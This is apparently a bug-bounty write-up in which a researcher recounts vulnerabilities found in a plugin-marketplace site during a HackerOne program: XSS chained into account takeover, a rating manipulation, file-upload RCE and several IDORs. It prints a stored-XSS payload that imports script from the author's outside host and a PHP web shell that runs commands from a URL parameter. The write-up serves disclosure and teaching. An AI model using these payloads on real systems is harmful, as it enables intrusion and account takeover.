Intro

Hello, my name is Amir Abbas, an 18-year-old web security enthusiast who goes by the username ImAyrix on most social networks. I have been actively involved in web application security for approximately a year and a half. At the moment, I am hunting with the Voorivex team and thoroughly enjoy spending time with my group members.

What am I Going to Write About?

I aim to share my 40-day part-time bug-hunting journey and the techniques I used to discover vulnerabilities. In this process, I realized the significance of narrow recon, which allowed me to focus on specific technologies and infrastructure endpoints. This made it easier for me to identify vulnerabilities efficiently.

Choosing a Target

I spent several days searching for a target and exploring different programs across various platforms, but I didn't find any results… One day, my friend Alireza introduced me to a new target on HackerOne. I quickly started subdomain discovery when I saw that one of its scopes was *.domain.tld. However, I realized that some of the subdomains were out of scope, and the rest did not have anything interesting to test.

I was thinking about changing the target since all my previous vulnerabilities were discovered through subdomain discovery and working on different subdomains. However, after checking HackerOne's Hacktivity, I noticed some bugs that were reported recently. So I decided to start working on it, I went through all the subdomains of that program but found nothing interesting on them. So I decided to put aside the Wide Recon and dive deep into web applications and work with different functionalities and features.

Vulnerability Discovery

In this section, I will explain some vulnerabilities I have identified in this program, which are XSS, RCE, IDOR, etc.

Reflected XSS

While conducting my narrow recon and exploring the web application's features, I came across the site's support contact page. I used the GAP Burp Suite extension to extract the parameters of the same domain and the x8 tool to do the parameter discovery. Finally, I found a reflected XSS using the addon parameter.

[ Medium - Triaged - $500 ]

Stored XSS Leads to Account Takeover

On this website, users could offer plugins for sale or for free, and there was a section for users' comments about the plugins. In this comments section, I found a Stored XSS,

form><button formaction="javascript:import('//ayrix.info/exploit/?email=attacker@gmail.com')">Click Me</button></form>

I started to improve the impact, so I tried to escalate this XSS to an Account Takeover. I wrote a JavaScript exploit code to change the victim's email, and it was working. The "forget password" feature was only available on the SSO domain. I tried to forget the password, although I didn't receive any email since the email address hadn't been updated in the SSO. So, I could change the victim's email address, but I couldn't reset the password.

Sadly, the SSO domain was different from the XSSed domain, so I couldn't exploit it. I went through searching the web application, and after a while of fuzzing, I found a hidden path on the XSSed domain called legacy-login. The hidden path had a "forget password" option. I used the forget password feature, but still, there was no email!

I checked the HTTP request in my Burp Suite and saw that two spaces were added to the beginning and end of the email. I removed the spaces, resubmitted the request, and finally got the password reset email:

Now that everything was ready, I wrote a JavaScript exploit:

• Send a GET request to the page containing the email change functionality and store the CSRF token.

• Send a POST request to the endpoint which I discovered to change email with the CSRF token, and replace my email with the victim’s email.

Now, when victims visit the page that contains Stored XSS, it will trigger, changing their email to mine. Then I can request a password reset for my email and take over their account.
[ Max severity of this domain is High - High - Triaged - $1500 ]

Stored XSS Leads to Account Takeover (2)

This time, I created an add-on on the site, and I successfully executed the scenario described above on one of the extension description pages.
[ Max severity of this domain is High - High - Triaged - $1500 ]

A Business Logic Vulnerability that Leads to Manipulating Add-ons Stars

Each add-on had a star rating system, with 1 to 5 stars, which affected how they were displayed. When a user gave an add-on 5 stars, the request was sent as ratings=5. I simply changed the rating to 1000, causing my add-on to appear at the top of the list.
[ Duplicate ]

Remote Code Execution (RCE) Vulnerability with File Upload

The site allowed users to upload files in different sections. No matter how hard I tried, I couldn't upload malicious files. However after a few days of working on the program, I found a section where different files with different extensions were uploaded, I believe I discovered an older version of the file upload functionality that had a vulnerability. I realized that the upload is only sensitive to the content-type, not the file extension. I turned on intercept in Burp Suite and uploaded a PHP file, changing the content-type to image/png in that request. The PHP file contained the following code:

<?php
$output = shell_exec($_GET["secert-cmd"]);
echo "<pre>$output</pre>";
?>

I opened the path to my uploaded file and found that any command I sent in the secret-cmd parameter was executed and the output was printed on the page.

[ Max severity of this domain is High - High - Triaged - $1500 ]

Access to Files of Private Add-ons (IDOR)

Each add-on could have several attached files, such as installation steps, installation files, or other files. Each file had a numerical ID, and its download link was as follows: https://www.domain.tld/download/45294

I also tried to create my add-on. While I was creating the add-on, the private option caught my eye. I uploaded several files and set my add-on to private. Then, I tried to download the files with another account and saw that I was able to do so.
Since the ID was a number, I could fuzz it from 1 to 10000 and gain access to all public and "private" files.
https://www.domain.tld/download/FUZZ

[ Medium - Triaged - $500 ]

IDOR in the Extract Sales Data Functionality

This feature was part of the paid subscription plan, which I didn't have. I asked the program's security team to give me a test account in the comment section of one of my reports, and they replied they would soon add a subdomain that is possible to test the premium features to the scope. I quickly turned on notifications for this program in HackerOne.

Once the subdomain was added, I quickly created an add-on and went to the sales statistics page. I noticed that a POST request to /rest/paymentinfos was sent with my add-on ID. This was easy because the ID of each add-on was public. I could send each person's add-on ID to this endpoint and receive their entire sales information.
[ Medium - Triaged - $500 ]

IDOR in the Add-on Settings in the Admin Section

I tested all the fields in the add-on admin panel several times, and they were all safe from IDOR. But this time, after opening the admin page, I noticed a small button at the bottom. When I clicked on it, A new add-on settings panel opened, one that I had not seen before. It was a new panel, and after testing it, I realized that it was vulnerable to IDOR and I could change the admin information of other add-ons.
[ Medium - Triaged - $500 ]

Reflected XSS

I checked all the filters and parameters on the search page and they were safe, but I thought there might be other parameters too. So I started fuzzing the parameters with the x8 tool and found a parameter called resource that was reflected and turned into XSS.
[ Medium - Triaged - $500 ]

Conclusion

Before finding these vulnerabilities, I'd been watching YouTube channels and reading articles to learn how to find subdomains and more domains for a bug bounty program. Whenever I saw something like *.domain.tld in scope on HackerOne or BugCrowd programs, I would immediately start subdomain discovery. But now I think that a wide recon isn't always the best approach. Sometimes we need to focus on the main application features and look for bugs in those.